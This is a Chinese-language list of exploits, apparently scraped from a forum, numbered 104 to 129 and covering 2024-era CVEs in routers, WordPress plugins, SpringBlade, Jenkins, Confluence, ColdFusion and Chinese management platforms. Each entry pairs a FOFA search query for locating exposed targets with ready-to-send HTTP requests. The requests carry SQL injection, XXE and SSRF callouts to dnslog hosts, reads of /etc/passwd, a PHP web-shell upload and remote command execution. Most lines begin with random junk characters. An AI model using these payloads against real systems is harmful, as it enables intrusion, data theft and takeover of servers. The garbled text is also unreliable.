) Y' M3 U- J' @' k4 Y9 A6 ~Content-Type: application/x-www-form-urlencoded
" }' X( O" W2 ]' a1 O6 W5 OAccept-Encoding: gzip
+ H* e0 B/ G7 m, g* ^! e( Y' w' q& ]
+ z* K6 n3 M7 T5 RSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==


' v: w  {9 ?& P" A" F# F6 N! o其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
# G- z7 }1 H; l8 f/ N<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>


104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
4 T8 c' A' o: m7 A3 M0 D  dFOFA：title="TOTOLINK"
2 v2 v6 m& K$ z: J* y) kPOST /cgi-bin/cstecgi.cgi HTTP/1.1
; i! s' X; m/ T% cHost:192.168.0.1
; |+ \/ m: U: j. [. U8 IContent-Length:41
' w6 V9 m# O' [Accept:application/json,text/javascript，*/*;q=0.01
: D0 E* \5 C' |9 d) q2 K2 ~X-Requested-with: XMLHttpRequest
3 R- Y. B0 b2 `% t4 a# ]5 V1 @User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
8 m  d, G5 {) U6 l% [Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
. k4 j# n& L8 l# RReferer: http://192.168.0.1/advance/index.html?time=1671152380564
* [, K. g6 z" G' I' X1 LAccept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
- N* s! q2 v* ?. S; V; U7 A6 FConnection:close
/ V+ t( }) ^( X- \
$ w- o, ^- V* ]( @2 V0 K% D{
( C% u5 K# N1 o. |5 D"topicurl":"getSysStatusCfg",
"token":""
}
2 r4 z; b; A) _* y
! O4 O  d+ y; i. N2 }105. SpringBlade v3.2.0 export-user SQL 注入
# z* ^! n4 h+ f0 n  X$ QFOFA：body="https://bladex.vip"
6 `+ y9 k9 g$ j9 N4 s7 d4 dhttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
! L4 h/ u$ x/ Q0 TFOFA：body="Saber 将不能正常工作"
/ O1 L+ B1 h  tGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
! s6 u# l8 z* I" V" U( L& i  a( E+ `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  b1 K& B* @$ y$ s( FBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
, S( Y1 g* t) ?5 J% iAccept-Language: zh-CN,zh;q=0.9
: q6 i/ o4 P6 g3 G: S) J# iConnection: close


% N3 c! U  H" ?% g4 f( U" c107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
5 O# ^4 b! k: HGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
6 q6 o" k; q  C7 a5 ]8 E' v4 JHost: your-ip
& T# H% k1 i3 R1 q% gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ p* p6 K- X: ?1 U: |6 OBlade-Auth:替换为自己的
Connection: close

% B; U, ~; `# B) \; \- S# `6 L
1 [7 T  b( H" X3 D# n; `" d108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
# x7 G( L, a5 `5 hGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
8 j6 d7 y. K7 ?Accept: application/json, text/plain, */*
9 ~, M5 n% }# Y7 m; M  u6 {  ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
8 ^$ Z9 M+ N( m8 t( E2 AAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

) U$ W: V, I5 e6 U9 y
  F. Z; ^! c$ K( K4 R109. Jenkins CLI 任意文件读取
CVE-2024-23897
% P+ o8 U! m! Q0 _& ]! ^* ^FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
( S2 Y1 u  O; X7 x3 U  fHost:
: L* I: V2 O2 R2 \6 gContent-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
Connection: keep-alive
$ O3 O; M1 H! _Content-Length: 163
" N  q3 v( s0 e( \! k. L3 E/ j" k
) P+ A" _! T- f; c& G5 Mb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
* O# ~, S2 t  ?* F- m# B
3 Z( J" Y) K# T, p- B
& |3 g7 u# Z- SPOST /cli?remoting=false HTTP/1.1
Host:
3 `9 }$ q. w1 {' e% P6 b6 j' hSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
3 B. Q5 m2 D7 k3 H: c COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

- u( A. z7 \. h% [; w! `+ M0 i7 p
+ P9 V0 M3 m- B* _110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
' M9 v1 n! N1 [) L$ W! TGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
, c6 q) c* h) H( y# \Accept: */*
$ z7 Q  X+ t6 A7 p3 a. NAccept-Language: en
Accept-Encoding: gzip
5 W8 I5 ?! ^% I; i, e

111. WordPress Plugin HTML5 Video Player SQL注入
0 T( y0 T# T" nCVE-2024-1061
- M& A, ^: d9 D  [2 DFOFA："wordpress" && body="html5-video-player"
8 D& {, Z. z/ ], Z- j. K# m" }GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
3 }6 |5 }: {$ oUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
: j  j( _; M: r2 e. TAccept-Language: en
Accept-Encoding: gzip


112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
& C! j& G6 ?% D2 g" D
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


0 {, R2 d8 _7 r( {2 x3 I; P4 a; i3 |+ |113. WordPress Automatic 插件任意文件下载和SSRF
/ E+ X6 }1 b8 ~CVE-2024-27954
% \# Y  W2 K% V+ f( iFOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
5 x! l3 ^: S, I5 i2 O  ZConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

6 G; f& a3 r. L- M' d8 Q4 y3 L3 h
* r: _" ~6 V0 c( y- D114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
% v. U* [5 _1 g4 B9 m9 f; uConnection: close
6 m- V$ U6 x; ~/ w+ k

. u: ^, I$ k8 P115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
% K; m) M7 R( f" H9 l第一步，获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip
* B3 U) u5 h. s  r2 b, n0 T

第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
8 k5 J8 @7 f2 q. AHost: x.x.x.x
; T: Y5 ?9 ?; w$ G4 k2 @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Content-Length: 356
3 T8 Z# x3 K6 ~3 U1 c! SContent-Type: application/json
# r1 j' r* n* OAccept-Encoding: gzip

" W; [  W9 i% A{
"postId": "1",
  "nonce": "第一步获得的值",
# W& L% R  \$ M  "element": {
    "name": "container",
    "settings": {
- P3 [& c  r7 \      "hasLoop": "true",
0 L, w  z6 C9 y. O# C      "query": {
3 L9 i. M- \$ j; ?5 F        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
      }
    }
  }
}


) d' _4 O6 h* A" E9 ^0 C116. wordpress js-support-ticket文件上传
( R" j  P3 }4 Z6 bFOFA：body="wp-content/plugins/js-support-ticket"
' @4 y) `6 n/ C0 e9 i2 hPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
$ g9 p& I0 P- THost:
7 ~+ v" Z7 {( N" C$ k2 U, E$ D& ?Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
7 H/ x* N7 s. ~' r
----------767099171
  S& T  z( e1 s0 A9 r) TContent-Disposition: form-data; name="action"
configuration_saveconfiguration
----------767099171
8 E% K* U) v& [9 K* eContent-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
( \1 T. \, r) q: s# s, O6 ZContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
( u$ ]1 z; `! Z: V* vContent-Type: image/png
2 d/ O6 J% c: ?; `* f----------767099171--
( ]' X( p2 r1 ?

117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
6 t- Q3 i" g8 WFOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
5 O  C+ f7 B8 r5 Y2 uConnection: close
Upgrade-Insecure-Requests: 1


% v, C7 o, Z! u8 K$ Y) W2 w( h: J/ |118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
0 U5 b" m* o. z- ECVE-2024-0939
FOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
# `: Z, g; _- e( v2 f' Y/ |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. V" g1 Z+ B8 m+ l4 C, i) G7 xAccept-Encoding: gzip, deflate
5 w7 I+ H* Q& h3 x% _& ~5 h1 QContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
1 J, i: ?& V0 r! D3 SContent-Length: 405
$ `0 B( n  P( m+ M4 GOrigin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
9 z# Q3 x3 u4 Y4 A. HSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
* W, R' s2 \% G$ VSec-Fetch-Site: same-origin
- u! j) {. N" g+ c0 x3 N2 J( ?Sec-Fetch-User: ?1
8 T. T9 o. S! D8 s) a) r. w# v+ aTe: trailers
9 C* ?: k, K9 F* ^' N7 ?# j2 XConnection: close

-----------------------------13979701222747646634037182887
' R5 ?. f0 E; x3 tContent-Disposition: form-data; name="file_upload"; filename="contents.php"
! Q; v+ l9 U+ W1 x6 y3 O  g8 cContent-Type: application/octet-stream

5 u" r- b* w& X% K- H/ ?; o, \4 s2 J<?php
system($_POST["passwd"]);
?>
& _. Q+ ?4 i& L. \-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"
4 t! T0 {! q" Q$ \
4 G9 X& C! @" ?& x0 Y/home/src.php
. u- k, A$ h) h4 E6 H-----------------------------13979701222747646634037182887--

% Z5 J( y- t  P! D
! ~6 Q1 B( F* ~" z访问/home/src.php

119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
. s" z2 J* Z9 ~( }& u% wFOFA：title="Smart管理平台"
5 r; ^( C8 z* f9 o: B  I. t先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
# {/ ?7 [* t" r2 RCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
6 J+ U" q( N; k- _) kAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
2 i3 p( L( B, K# [0 @& Q! s( `, BContent-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
& W% [- @4 W( uReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
: c" K$ a" ^7 n8 o- tSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
: e, Y: |8 A7 XX-Forwarded-For: 1.1.1.1
) j7 l1 ^5 _; \1 I5 Z( M5 cX-Originating-Ip: 1.1.1.1
; l# W6 E' e/ f4 m6 Y+ zX-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
Te: trailers
Connection: close

6 [' G0 U  ^* h- z% ^2 ]& gsrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
. _: [2 [, s$ h& f

120. 北京百绰智能S40管理平台导入web.php任意文件上传
( t* o) c# d# L0 n4 qCVE-2024-1253
: V( i$ K: P  V# w0 t% C9 sFOFA：title="Smart管理平台"
: ]* d$ H4 O6 r/ x9 e: B2 GPOST /useratte/web.php? HTTP/1.1
Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
9 Z& `5 j3 W6 U+ I' z' o2 ~7 PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" E* w- v" A* C3 oAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
6 v: N. K  m+ p  l7 B' v: A7 CContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
3 g+ y/ ^- V7 j4 b" B. S" W4 ]Content-Length: 597
& d; x& z- s5 Z7 `Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
3 T& {& d( G( x- \6 T! xUpgrade-Insecure-Requests: 1
" F' b( t, m8 v) E* fSec-Fetch-Dest: document
! \& K8 |( c" Y- b9 p/ oSec-Fetch-Mode: navigate
6 W- U/ I% x7 \8 f, W* ^. @4 _) OSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
# x5 x( W3 F5 n" r: J, RConnection: close
& R5 w" ]3 m4 C3 G
; a3 a/ n  W5 h8 F2 R8 U-----------------------------42328904123665875270630079328
8 V7 X/ |7 ?" s/ F: B8 jContent-Disposition: form-data; name="file_upload"; filename="2.php"
3 G8 {3 {5 Y+ G  \$ I9 BContent-Type: application/octet-stream

<?php phpinfo()?>
5 D' _8 R+ D4 I  f- `3 g1 f-----------------------------42328904123665875270630079328
) W) R7 H3 i! n+ T+ H( E2 wContent-Disposition: form-data; name="id_type"
$ R$ q1 T* [7 H* m) o# k
- H9 ~* O% }5 P6 L1 G1
-----------------------------42328904123665875270630079328
7 ^1 a- K! k- o9 {% l$ _Content-Disposition: form-data; name="1_ck"
2 A# V0 g) Q) }9 V5 h
) G$ |0 F- T0 z( B3 ?2 M9 K1_radhttp
9 D. L& p4 ^$ X: l2 [0 q-----------------------------42328904123665875270630079328
, b' k$ X" \6 kContent-Disposition: form-data; name="mode"
( S, d) r( V" ^1 @
0 d4 H: A; W7 H# Y) Bimport
-----------------------------42328904123665875270630079328

7 D  y- n6 X6 y8 i% P% R
文件路径/upload/2.php

9 @# \/ N$ v2 _0 B3 Y121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
7 b, X& Q8 f  X( P0 C+ h3 l; e, }FOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
: j- d% u% E& N# RCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
6 Y8 G2 a! |5 I$ z5 w$ dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! J" f5 G  i5 }Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
0 l  f8 b3 F& H- W9 F+ y% f. i8 @2 j, dContent-Length: 592
Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
  h' g& F) y4 {Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
" K* T: I9 `3 Q7 U) ?Sec-Fetch-Site: same-origin
! }; ?: Z& I/ b- r" dSec-Fetch-User: ?1
Te: trailers
5 E: {5 f5 I( S; i$ D4 G, j! kConnection: close

-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
( ^1 D! k" z0 x# F  v, MContent-Type: application/octet-stream
3 z9 r6 ^+ O% v6 }4 {8 B5 z
<?php phpinfo();?>
-----------------------------42328904123665875270630079328
# }+ G- f8 h) ]' z$ EContent-Disposition: form-data; name="id_type"

1
! ]+ F' @1 ?" r# P' F1 B" b-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

5 D! m2 A  D  p8 F1_radhttp
-----------------------------42328904123665875270630079328
" w6 f  k' k0 W% V) _! ]Content-Disposition: form-data; name="hidwel"
+ T0 v$ Q! F" X1 [0 d# w8 b' n4 e
" `* |- O% b+ E0 k" d* U2 k# y  kset
-----------------------------42328904123665875270630079328


boot/web/upload/weblogo/1.php

122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
' l" |9 U+ f  O3 z+ A- N- ~; |% G其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 T2 [7 d( v6 B6 ]4 m+ \, oAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: n+ x0 P6 o8 q/ G& o+ eAccept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
- w+ W) {5 ]4 a! O' QTe: trailers
3 k* D3 f: B  f5 o3 PConnection: close
* P+ G; ?% }! ]8 h% x% W
: ~4 L# S* h# \7 ]  E
123. Atlassian Confluence 模板注入代码执行
( ?5 I* j+ h6 G& ^FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
, A) a$ m5 Y) P4 T4 B: yPOST /template/aui/text-inline.vm HTTP/1.1
) r& o7 t0 |$ KHost: localhost:8090
; A, M3 D7 T1 p4 J6 w2 {Accept-Encoding: gzip, deflate, br
1 C/ _. U, ^+ x# G4 h# y0 j% fAccept: */*
/ X- g; |+ }- m; n5 m1 E8 FAccept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
7 [; e6 x6 A. k: `3 Q, i3 _/ zConnection: close
Content-Type: application/x-www-form-urlencoded
; [2 A- E; r. i" k$ s2 m/ E
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
7 ~3 f8 R5 k/ K( R

0 ?( |/ D  n/ Y8 v# n124. 湖南建研工程质量检测系统任意文件上传
/ `8 G* Z0 h" F9 d( |" {/ n- fFOFA：body="/Content/Theme/Standard/webSite/login.css"
  \' Q) r6 b2 s" i3 }7 OPOST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
+ a- ~6 T. m) Z) V( s- h# NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
  I7 S4 I- [% T2 V) Z, {! i* k  N. WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ b# ^; o) _( T$ X6 f! K9 I" ^7 o; gConnection: close
Content-Type: application/x-www-form-urlencoded
. k' o& N  x7 i6 E8 |: G$ x* t" a
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
+ N" w5 k' b2 d3 [
8 B4 {  G+ k- T, f
http://192.168.40.130:8282/Scripts/abcgcg.aspx

. R4 ^# v  s1 @0 R  U6 _125. ConnectWise ScreenConnect身份验证绕过
9 ~( V' c2 f8 t+ a; JCVE-2024-1709
FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc


使用方法
% @' v. S4 J$ ], E9 j+ @1 |3 K+ |python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
" A( L% T$ M, ~9 D5 N" x

9 _3 A) U6 U3 g创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
# {5 E9 B4 e3 P/ D% q; A8 jFOFA：title=="ComfyUI"
* f  g$ s6 T8 K/ ]$ X3 aGET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
, w- _0 p5 j8 p8 tAccept-Language: en
Accept-Encoding: gzip


# m* q# e( e7 ~! N127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
! p; Q  J1 I$ i) z+ [POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
9 h9 X1 n" P9 \& oHost: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
7 R. h; V% q: d0 sAccept-Language: zh-CN,zh;q=0.9
Connection: close
1 j* Q% `$ o& k1 v; c! OContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
: K% o" Q0 }$ H5 V' {$ q8 h6 x* tPurpose: prefetch
Sec-Purpose: prefetch;prerender

1 N6 ?0 S) a( {1 w9 ~------WebKitFormBoundaryJGgV5l5ta05yAIe0
$ A8 B! Q# {) ~  M1 z/ U5 EContent-Disposition: form-data;name="SystemName"
3 ]" A- j8 e4 L4 W  o( Z
BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
Content-Type: text/plain
# B; f0 O1 q" G' e
+ W. J+ B- c6 o<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
) l0 R1 l% s! A+ t! |; e0 O3 G7 p+ `]
>
<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--

( K$ N7 `/ C( {8 D5 U" h( ^+ e; {2 W

128. Adobe ColdFusion 反序列化
& o+ w2 v+ r0 W  C" OCVE-2023-38203
* L* y" J6 G' D9 eAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
PAYLOAD

: e2 b; G$ [+ Y/ k4 u. l# I. g+ A129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
* N5 O; T% f8 R: z$ _' L1 UFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
) g1 q; p  C' N* C, c) nGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
. o% E% y1 m0 G% J/ e' [& y' [# t8 U* ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
3 B4 |* V! C  l( Y7 A3 kAccept: */*
Accept-Encoding: gzip, deflate
# I( E- S% l' w; S0 DConnection: close


第二步，读取/etc/passwd文件
: G7 v& `5 _, |% SGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
2 W. P* G, \9 u' p- q$ \( H* pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
